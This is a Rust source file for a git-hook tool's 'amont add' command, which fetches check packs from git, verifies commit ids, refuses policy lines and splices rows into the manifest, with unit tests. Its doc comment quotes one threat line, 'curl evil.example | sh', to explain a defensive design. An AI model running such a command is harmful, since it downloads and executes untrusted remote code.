Skip to main content

amont_runtime/
pack.rs

1//! Shipping a check — `amont add`.
2//!
3//! A check could always be WRITTEN in `amont.conf`; it could never be SHARED.
4//! The only routes were pasting a line into somebody's manifest by hand, or
5//! upstreaming it into amont itself.
6//!
7//! pre-commit solved this by cloning a repository and executing it, building an
8//! isolated environment per hook. That is its slowest part and it is precisely
9//! what [`crate::trust`] exists to refuse — that module's own test fixture
10//! spells out the threat in one line:
11//!
12//! ```text
13//! pre-commit  a  *  block  curl evil.example | sh
14//! ```
15//!
16//! So what ships here is **text, not execution**. A pack is `amont.conf` syntax
17//! and nothing else; `amont add` vendors those rows into your manifest; and
18//! because the trust fingerprint is content-keyed over the whole file, the
19//! append invalidates consent and a human must read every command before any of
20//! them can run. The existing gate does the security work. This module only
21//! saves the copy-paste.
22//!
23//! # Why git, and why that answers "verify against what?"
24//!
25//! amont links no crates (`scripts/check-no-deps.sh`), so it has no TLS and no
26//! HTTP client, and must not grow one to fetch a config file. The only network
27//! primitive it already uses is `git` — which turns out to be the right answer
28//! rather than a consolation:
29//!
30//! - git is **content-addressed**. [`resolve`] turns a moving `@v2` into a
31//!   commit id before anything is fetched, and [`fetch`] then refuses whatever
32//!   it received unless it hashes to that id.
33//! - the id, never the tag, is what gets written into `amont.conf`.
34//! - SSH, HTTPS, private repositories and self-hosted forges all work already,
35//!   with the user's own credentials and none of amont's.
36//!
37//! # Nothing here is on the commit path
38//!
39//! `amont add` is a setup verb. No hook calls into this module, nothing is
40//! fetched between `git commit` and a verdict, and `a_pack_costs_the_commit_
41//! path_nothing` asserts it.
42
43use std::path::Path;
44
45use crate::manifest::{Line, MANIFEST};
46
47/// The file a pack repository must carry, at its root.
48pub const PACK_FILE: &str = "amont.pack";
49
50/// Where a pack came from, and which revision of it.
51#[derive(Debug, Clone, PartialEq, Eq)]
52pub struct Source {
53    /// How the user spelled it, minus the revision — what goes in the marker.
54    pub label: String,
55    /// What git is handed.
56    pub url: String,
57    /// `None` means the remote's default branch.
58    pub rev: Option<String>,
59}
60
61/// Does this name a filesystem path rather than a shorthand?
62///
63/// A local path is how a pack is developed before it is published, and it is
64/// the whole fixture story for the tests.
65///
66/// **Every shape is named explicitly, and `Path::is_absolute` is deliberately
67/// not consulted.** It answers differently depending on where it runs, and this
68/// function must not: `C:\pack` is not absolute on unix, and `/tmp/pack` is not
69/// absolute on Windows, so a rule leaning on it rejects whichever shape is
70/// foreign to the host. That cost two round trips through CI — first Windows
71/// could not add a local pack at all, then, once `is_absolute` was added, it
72/// refused the unix spelling instead. The lesson is that "is this a path" is a
73/// question about the STRING, and the host's opinion of it is noise.
74fn looks_like_path(body: &str) -> bool {
75    let b = body.as_bytes();
76    // `C:\pack` or `C:/pack`
77    let drive = b.len() >= 3
78        && b[0].is_ascii_alphabetic()
79        && b[1] == b':'
80        && (b[2] == b'\\' || b[2] == b'/');
81    body.starts_with('/')            // unix absolute
82        || drive
83        || body.starts_with(r"\\")   // UNC: \\server\share
84        || std::path::Path::new(body).exists() // a relative path that is really there
85}
86
87/// `github:owner/repo@v2`, `forgejo:host/owner/repo`, a git URL, or a local
88/// path.
89///
90/// The revision is split on the last `@` that falls AFTER the last separator.
91/// That rule is not decoration: `git@github.com:acme/repo.git` carries an `@`
92/// in its userinfo, and splitting on the last `@` outright would read
93/// `github.com` as a revision and quietly fetch the wrong thing. Both `/` and
94/// `\` count, or a Windows path containing an `@` would lose its tail the same
95/// way.
96pub fn parse_source(spec: &str) -> Result<Source, String> {
97    if spec.is_empty() {
98        return Err("empty source".into());
99    }
100    let slash = spec.rfind(['/', '\\']).map(|i| i as isize).unwrap_or(-1);
101    let (body, rev) = match spec.rfind('@') {
102        Some(at) if (at as isize) > slash => (&spec[..at], Some(spec[at + 1..].to_string())),
103        _ => (spec, None),
104    };
105    if rev.as_deref().is_some_and(str::is_empty) {
106        return Err(format!("{spec}: a revision was named but is empty"));
107    }
108    let url = if let Some(rest) = body.strip_prefix("github:") {
109        if rest.split('/').count() != 2 || rest.split('/').any(str::is_empty) {
110            return Err(format!("{spec}: github: wants owner/repo"));
111        }
112        format!("https://github.com/{rest}.git")
113    } else if let Some(rest) = body.strip_prefix("forgejo:") {
114        // host/owner/repo — the host is not assumed, because a self-hosted
115        // forge is the case this shorthand exists for.
116        if rest.split('/').count() != 3 || rest.split('/').any(str::is_empty) {
117            return Err(format!("{spec}: forgejo: wants host/owner/repo"));
118        }
119        format!("https://{rest}.git")
120    } else if body.contains("://") || body.contains('@') || looks_like_path(body) {
121        body.to_string()
122    } else {
123        return Err(format!(
124            "{spec}: not a git URL — use github:owner/repo, \
125             forgejo:host/owner/repo, or a full URL"
126        ));
127    };
128    Ok(Source {
129        label: body.to_string(),
130        url,
131        rev,
132    })
133}
134
135/// The commit id `rev` names on the remote, before anything is downloaded.
136pub fn resolve(source: &Source) -> Result<String, String> {
137    let rev = source.rev.as_deref().unwrap_or("HEAD");
138    let out = crate::git::stdout(&["ls-remote", &source.url, rev]).ok_or_else(|| {
139        format!(
140            "{}: cannot reach the remote, or {rev} names nothing",
141            source.label
142        )
143    })?;
144    // `ls-remote` prints "<sha>\t<ref>" per match. A rev naming several
145    // DISTINCT commits (a branch and a tag of the same name, diverged) is
146    // ambiguous, and guessing which one the user meant is exactly the wrong
147    // instinct for a verb that installs commands. But refs, not commits, is
148    // the wrong thing to count: any non-bare clone advertises `HEAD` and
149    // `refs/remotes/origin/HEAD` together, so `amont add /path/to/a/clone`
150    // — the USB-stick shape, and the most natural offline gesture — was
151    // refused over two names for one answer.
152    let refs = named_refs(&out);
153    let mut ids: Vec<&str> = refs.iter().map(|(id, _)| id.as_str()).collect();
154    ids.sort_unstable();
155    ids.dedup();
156    match ids.as_slice() {
157        [] => Err(format!(
158            "{}: {rev} names nothing on that remote",
159            source.label
160        )),
161        [one] => Ok((*one).to_string()),
162        _ => {
163            let listed = refs
164                .iter()
165                .map(|(id, name)| format!("{name} @ {}", &id[..7.min(id.len())]))
166                .collect::<Vec<_>>()
167                .join(", ");
168            Err(format!(
169                "{}: {rev} is ambiguous — it names {} different commits on \
170                 that remote ({listed}); name a commit id instead",
171                source.label,
172                ids.len()
173            ))
174        }
175    }
176}
177
178/// `ls-remote` lines as `(id, ref-name)`, with peeled lines dropped.
179///
180/// A ref ending in `^{}` is an annotated tag's peeled COMMIT — derived from
181/// a line already in the listing, never a ref of its own, so it can never be
182/// the only answer. Neither github.com nor the local-path transport emits one
183/// for a pattern query (measured, protocols v2 and v0), but `git-ls-remote(1)`
184/// documents the form and other server implementations exist. It is also the
185/// wrong id to return: `fetch` compares against `rev-parse FETCH_HEAD`, which
186/// records the tag OBJECT, not the commit it peels to (also measured).
187fn named_refs(out: &str) -> Vec<(String, String)> {
188    out.lines()
189        .filter_map(|l| {
190            let mut it = l.split_whitespace();
191            let id = it.next()?;
192            let name = it.next().unwrap_or("");
193            (!name.ends_with("^{}")).then(|| (id.to_string(), name.to_string()))
194        })
195        .collect()
196}
197
198/// The pack's text at `id`, or an error.
199///
200/// Fetches the REF and then checks what arrived hashes to the id [`resolve`]
201/// already agreed with the remote. Fetching the bare id would be more direct
202/// and is not universally allowed (`uploadpack.allowAnySHA1InWant`); this way
203/// works against every server and still detects a ref that moved underneath us
204/// between the two calls.
205pub fn fetch(source: &Source, id: &str, into: &Path) -> Result<String, String> {
206    let dir = into.to_string_lossy().into_owned();
207    let ok = |args: &[&str]| crate::git::succeeds_in(into, args);
208    std::fs::create_dir_all(into).map_err(|e| format!("cannot create {dir}: {e}"))?;
209    if !ok(&["init", "-q"]) {
210        return Err(format!("cannot init a scratch repository at {dir}"));
211    }
212    let rev = source.rev.as_deref().unwrap_or("HEAD");
213    if !ok(&["fetch", "-q", "--depth", "1", &source.url, rev]) {
214        return Err(format!("{}: fetching {rev} failed", source.label));
215    }
216    let got = crate::git::stdout_in(into, &["rev-parse", "FETCH_HEAD"])
217        .ok_or_else(|| format!("{}: nothing was fetched", source.label))?;
218    if got != id {
219        return Err(format!(
220            "{}: {rev} moved while we were reading it ({id} → {got}) — \
221             nothing was written; run the same command again",
222            source.label
223        ));
224    }
225    crate::git::stdout_in(into, &["show", &format!("FETCH_HEAD:{PACK_FILE}")]).ok_or_else(|| {
226        format!(
227            "{}: has no {PACK_FILE} at {}",
228            source.label,
229            &id[..7.min(id.len())]
230        )
231    })
232}
233
234/// The rows a pack may contribute, verbatim, or a refusal naming the first
235/// thing wrong with it.
236///
237/// Validated with the REAL parser ([`crate::manifest::parse_lines`]) rather
238/// than a second one that could disagree with it — a pack that parses here and
239/// not there would be a manifest nobody intended. The original text of each row
240/// is what gets written, so nothing round-trips through a formatter that might
241/// render it differently from how it was reviewed.
242///
243/// Refused **whole**, never partially: a half-applied pack leaves an
244/// `amont.conf` that neither the author nor the user asked for.
245pub fn rows(text: &str) -> Result<Vec<String>, String> {
246    // The same lines `parse_lines` will keep, in the same order, so the two can
247    // be zipped without either needing to report a line number.
248    let source_rows: Vec<&str> = text
249        .lines()
250        .map(str::trim)
251        .filter(|l| !l.is_empty() && !l.starts_with('#'))
252        .collect();
253    let parsed = crate::manifest::parse_lines(text);
254    if parsed.len() != source_rows.len() {
255        return Err(format!("{PACK_FILE}: cannot be read as {MANIFEST} syntax"));
256    }
257    if source_rows.is_empty() {
258        return Err(format!("{PACK_FILE}: declares no checks"));
259    }
260    let mut out = Vec::with_capacity(source_rows.len());
261    for (line, parsed) in source_rows.iter().zip(&parsed) {
262        match parsed {
263            Line::Usable(_) => out.push((*line).to_string()),
264            Line::Broken { why, .. } => {
265                return Err(format!("{PACK_FILE}: `{line}` — {why}"));
266            }
267            // A pack carries CHECKS. `tool`, `severity`, `skip` and `set` are
268            // policy about the repository installing it, and
269            // docs/custom-checks.md ("What a repository cannot do") keeps those
270            // local on purpose — a `set` line reaching `amont.fix` would let a
271            // third party turn on rewriting somebody's working tree.
272            Line::Tool(_) | Line::Policy { .. } | Line::Tree(_) => {
273                return Err(format!(
274                    "{PACK_FILE}: `{line}` — a pack may declare checks only, \
275                     not tool pins, policy or tree gates"
276                ));
277            }
278        }
279    }
280    Ok(out)
281}
282
283/// The block a pack owns inside `amont.conf`.
284///
285/// Markers so a re-`add` REPLACES rather than appends — a second copy of the
286/// same declaration is refused by the duplicate-id rule, so appending blindly
287/// would break the manifest on the second run — and so a human can remove a
288/// pack by deleting a block. `#` keeps them invisible to the parser, which
289/// skips comments.
290fn start_marker(label: &str) -> String {
291    format!("# amont:pack:start {label}")
292}
293fn end_marker(label: &str) -> String {
294    format!("# amont:pack:end {label}")
295}
296
297pub fn block(label: &str, id: &str, rows: &[String]) -> String {
298    let mut out = format!("{} {id}\n", start_marker(label));
299    for r in rows {
300        out.push_str(r);
301        out.push('\n');
302    }
303    out.push_str(&end_marker(label));
304    out.push('\n');
305    out
306}
307
308/// `manifest` with this source's block replaced, or appended if it has none.
309///
310/// Markers are searched INDEPENDENTLY, like `agents_md::block_range` does, so a
311/// file carrying one without the other is reported rather than silently
312/// half-rewritten.
313pub fn splice(manifest: &str, label: &str, id: &str, rows: &[String]) -> Result<String, String> {
314    let (start, end) = (start_marker(label), end_marker(label));
315    let at_start = manifest.find(&start);
316    let at_end = manifest.find(&end);
317    let fresh = block(label, id, rows);
318    match (at_start, at_end) {
319        (Some(s), Some(e)) if e > s => {
320            let mut tail = e + end.len();
321            if manifest[tail..].starts_with('\n') {
322                tail += 1;
323            }
324            Ok(format!("{}{fresh}{}", &manifest[..s], &manifest[tail..]))
325        }
326        (None, None) => {
327            let mut out = manifest.to_string();
328            if !out.is_empty() && !out.ends_with('\n') {
329                out.push('\n');
330            }
331            if !out.is_empty() {
332                out.push('\n');
333            }
334            out.push_str(&fresh);
335            Ok(out)
336        }
337        _ => Err(format!(
338            "{MANIFEST}: has an unpaired `amont:pack` marker for {label} — \
339             fix or remove it by hand"
340        )),
341    }
342}
343
344#[cfg(test)]
345mod tests {
346    use super::*;
347
348    /// A peeled `^{}` line is derived from its base line, never an answer of
349    /// its own — and no observed transport emits one for a pattern query, so
350    /// this is the only place the defensive branch can be exercised.
351    #[test]
352    fn a_peeled_tag_line_is_not_a_second_ref() {
353        let out = "fdfa39b\trefs/tags/v1\n2127b95\trefs/tags/v1^{}\n";
354        let refs = named_refs(out);
355        assert_eq!(refs.len(), 1, "{refs:?}");
356        assert_eq!(
357            refs[0].0, "fdfa39b",
358            "the TAG object, which is what FETCH_HEAD records"
359        );
360    }
361
362    #[test]
363    fn shorthands_and_urls_become_git_urls() {
364        let s = parse_source("github:acme/rust-strict").unwrap();
365        assert_eq!(s.url, "https://github.com/acme/rust-strict.git");
366        assert_eq!(s.label, "github:acme/rust-strict");
367        assert_eq!(s.rev, None);
368
369        let s = parse_source("forgejo:git.example.org/acme/packs@v2").unwrap();
370        assert_eq!(s.url, "https://git.example.org/acme/packs.git");
371        assert_eq!(s.rev.as_deref(), Some("v2"));
372    }
373
374    /// The `@` in `git@host` is userinfo, not a revision. Splitting on the last
375    /// `@` outright would read the host as a revision and fetch the wrong
376    /// thing — silently, since `ls-remote` would simply find nothing.
377    #[test]
378    fn an_ssh_url_keeps_its_userinfo() {
379        let s = parse_source("git@github.com:acme/repo.git").unwrap();
380        assert_eq!(s.url, "git@github.com:acme/repo.git");
381        assert_eq!(s.rev, None);
382
383        let s = parse_source("git@github.com:acme/repo.git@v1").unwrap();
384        assert_eq!(s.url, "git@github.com:acme/repo.git");
385        assert_eq!(s.rev.as_deref(), Some("v1"));
386    }
387
388    /// A local path is a valid source on every platform, and BOTH spellings are
389    /// accepted wherever this runs.
390    ///
391    /// Two CI round trips are behind this test. First the rule was
392    /// `starts_with('/')` — true of a unix path, false of every Windows one, so
393    /// the feature was silently unix-only. Then it became `Path::is_absolute`,
394    /// which is platform-dependent in the other direction and refused
395    /// `/tmp/pack` on Windows. Asserting both shapes on every host is what
396    /// makes the third version stay fixed.
397    #[test]
398    fn an_absolute_path_is_a_source_on_any_platform() {
399        for p in ["/tmp/pack", r"C:\Users\me\pack", r"\\server\share\pack"] {
400            let s = parse_source(p).unwrap_or_else(|e| panic!("{p:?} should be a source: {e}"));
401            assert_eq!(s.url, p);
402            assert_eq!(s.rev, None, "{p:?} has no revision");
403        }
404    }
405
406    /// And a Windows path carrying an `@` keeps it: the separator search has to
407    /// know about `\` or the tail is read as a revision.
408    #[test]
409    fn a_windows_path_with_an_at_sign_is_not_split_on_it() {
410        let s = parse_source(r"C:\Users\me\a@b\pack").unwrap();
411        assert_eq!(s.url, r"C:\Users\me\a@b\pack");
412        assert_eq!(s.rev, None);
413        let s = parse_source(r"C:\Users\me\a@b\pack@v1").unwrap();
414        assert_eq!(s.url, r"C:\Users\me\a@b\pack");
415        assert_eq!(s.rev.as_deref(), Some("v1"));
416    }
417
418    #[test]
419    fn a_source_that_is_not_a_url_is_refused() {
420        for bad in ["", "acme/rust-strict", "github:acme", "github:acme/repo/x"] {
421            assert!(parse_source(bad).is_err(), "{bad:?} should be refused");
422        }
423        assert!(parse_source("github:acme/repo@").is_err(), "empty revision");
424    }
425
426    #[test]
427    fn rows_are_taken_verbatim() {
428        let text = "# a comment\n\npre-commit  terraform-fmt  Dockerfile  block  terraform-fmt\n";
429        assert_eq!(
430            rows(text).unwrap(),
431            vec!["pre-commit  terraform-fmt  Dockerfile  block  terraform-fmt"]
432        );
433    }
434
435    /// Policy is about the repository INSTALLING the pack, and a third party
436    /// must not reach it: `severity` could quietly downgrade the secrets scan,
437    /// `skip` could silence it outright, and a `set` could raise the large-file
438    /// ceiling on somebody else's repository.
439    ///
440    /// These are all lines the parser accepts as VALID policy — which is the
441    /// point. Refusing them is this module's own rule, not something the
442    /// manifest parser was already doing.
443    #[test]
444    fn a_pack_may_not_carry_valid_policy_or_pins() {
445        for bad in [
446            "set  largeFileBlock  4000\n",
447            "severity  secrets  warn\n",
448            "skip  secrets\n",
449            "tool  terraform-fmt  2.12\n",
450        ] {
451            let text = format!("pre-commit  ok  *  block  true\n{bad}");
452            let err = rows(&text).unwrap_err();
453            assert!(err.contains("checks only"), "{bad:?} gave: {err}");
454        }
455    }
456
457    /// And a line the parser cannot read at all is refused too — by the other
458    /// arm, with the parser's own reason rather than a guess at one.
459    #[test]
460    fn a_policy_line_the_parser_rejects_is_still_refused() {
461        let text = "pre-commit  ok  *  block  true\nset  amont.fix  true\n";
462        let err = rows(text).unwrap_err();
463        assert!(err.contains("not a policy-settable key"), "{err}");
464    }
465
466    #[test]
467    fn a_pack_is_refused_whole_on_one_bad_row() {
468        let text = "pre-commit  fine  *  block  true\nnonsense\n";
469        assert!(rows(text).is_err());
470        assert!(rows("# nothing but a comment\n").is_err(), "empty pack");
471    }
472
473    #[test]
474    fn splice_appends_then_replaces_in_place() {
475        let rows0 = vec!["pre-commit  a  *  block  true".to_string()];
476        let base = "pre-commit  mine  *  block  true\n";
477
478        let once = splice(base, "github:acme/p", "abc1234", &rows0).unwrap();
479        assert!(once.starts_with(base), "existing lines are kept: {once:?}");
480        assert!(once.contains("# amont:pack:start github:acme/p abc1234"));
481
482        // A second add of the same source must REPLACE: two copies of one
483        // declaration is a duplicate id, which the parser refuses outright.
484        let rows1 = vec!["pre-commit  b  *  block  true".to_string()];
485        let twice = splice(&once, "github:acme/p", "def5678", &rows1).unwrap();
486        assert_eq!(twice.matches("amont:pack:start github:acme/p").count(), 1);
487        assert!(twice.contains("def5678"));
488        assert!(!twice.contains("abc1234"));
489        assert!(!twice.contains("pre-commit  a  *"), "old rows are gone");
490        assert!(
491            twice.contains("pre-commit  mine"),
492            "unrelated lines survive"
493        );
494    }
495
496    #[test]
497    fn an_unpaired_marker_is_reported_not_guessed() {
498        let rows0 = vec!["pre-commit  a  *  block  true".to_string()];
499        let half = "# amont:pack:start github:acme/p abc1234\n";
500        assert!(splice(half, "github:acme/p", "x", &rows0).is_err());
501        let inverted = "# amont:pack:end github:acme/p\n# amont:pack:start github:acme/p x\n";
502        assert!(splice(inverted, "github:acme/p", "y", &rows0).is_err());
503    }
504
505    /// Two packs coexist without either disturbing the other's block.
506    #[test]
507    fn packs_from_different_sources_do_not_collide() {
508        let a = vec!["pre-commit  a  *  block  true".to_string()];
509        let b = vec!["pre-commit  b  *  block  true".to_string()];
510        let one = splice("", "github:x/a", "1111111", &a).unwrap();
511        let two = splice(&one, "github:x/b", "2222222", &b).unwrap();
512        let three = splice(&two, "github:x/a", "3333333", &a).unwrap();
513        assert!(three.contains("2222222"), "the other pack is untouched");
514        assert!(three.contains("3333333"));
515        assert!(!three.contains("1111111"));
516    }
517}